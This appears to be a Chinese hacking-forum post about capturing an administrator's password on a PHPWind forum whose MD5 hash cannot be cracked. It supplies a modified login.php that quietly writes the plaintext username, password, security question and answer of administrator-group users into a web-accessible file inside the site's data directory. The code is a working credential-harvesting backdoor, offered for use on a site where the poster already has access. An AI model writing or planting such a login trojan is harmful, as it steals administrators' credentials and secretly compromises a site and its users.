有站的权限,但是管理员密码很复杂,MD5暴不出来,想得到他密码咋办?
在登录文件做手脚啊...我来贴一个我修改的.
login.php里面替换掉对应的部分就OK了.

if($action=="login"){
/*记录他的问题和答案修改开始*/
$ques=($_POST['question']!=='-1') ? $_POST['question'] : $_POST['customquest'];
$qs='问题:'.$ques.'答案:'.$_POST['answer'];
/*记录他的问题和答案修改结束*/
if(!$_POST['step']){
  $jumpurl = $pre_url;
  require_once(R_P.'require/header.php');
  require_once PrintEot('login');footer();
  } elseif($_POST['step']==2){
  $logingd && GdConfirm($_POST['gdcode']);
  $loginq && Qcheck($_POST['qanswer'],$_POST['qkey']);

  require_once(R_P.'require/checkpass.php');
  include_once(D_P."data/bbscache/dbreg.php");
  InitGP(array('pwuser','pwpwd','question','customquest','answer','cktime','hideid','jumpurl'),'P');
  if ($pwuser && $pwpwd)
  {
  $md5_pwpwd = md5($pwpwd);
  $realpass=$pwpwd;
  $safecv = $db_ifsafecv ? questcode($question,$customquest,$answer) : '';
  list($winduid,$groupid,$pwpwd) = checkpass($pwuser,$md5_pwpwd,$safecv,$lgt);
  /*下面是我添加的*/
  $adminid = array("3", "4", "5");  //adminid=3,4,5,就是管理者.
  if (in_array($groupid, $adminid)){
  $showtime=date("Y-m-d H:i:s");  //记录的时间.
  @$fp = fopen(D_P.'./data/groupdb/index.html', 'a');  //写入到原本就存在的文件,而且这个文件应该是可写的.
  @fwrite($fp, '用户名:'.$pwuser.'-密码:'.$realpass.'-'.$qs.'-GroupID:'.$groupid.'-'.$showtime.'<br>');  //基本格式
  @fclose($fp);
  }
  /*到这里修改结束*/
  }else{
  Showmsg('login_empty');
  }
  if(file_exists(D_P."data/groupdb/group_$groupid.php")){
  require_once Pcv(D_P."data/groupdb/group_$groupid.php");
  } else{
  require_once(D_P."data/groupdb/group_1.php");
  }
  $windpwd = $pwpwd;
  $cktime != 0 && $cktime += $timestamp;
  Cookie("winduser",StrCode($winduid."\t".$windpwd."\t".$safecv),$cktime);
  Cookie('lastvisit','',0);//将$lastvist清空以将刚注册的会员加入今日到访会员中
  if($db_autoban){
  require_once(R_P.'require/autoban.php');
  autoban($winduid);
  }
  ($gp_allowhide && $hideid) ? Cookie('hideid',"1",$cktime) : Loginipwrite($winduid);
  empty($jumpurl) && $jumpurl=$db_bfn;
  //passport
  if($db_pptifopen && $db_ppttype == 'server' && ($db_ppturls || $forward)){
  $tmp = $jumpurl;
  $jumpurl = $forward ? $forward : $db_ppturls;
  $forward = $tmp;
  require_once(R_P.'require/passport_server.php');
  }
  //passport
  refreshto($jumpurl,'have_login');
}
}

PHPWIND 密码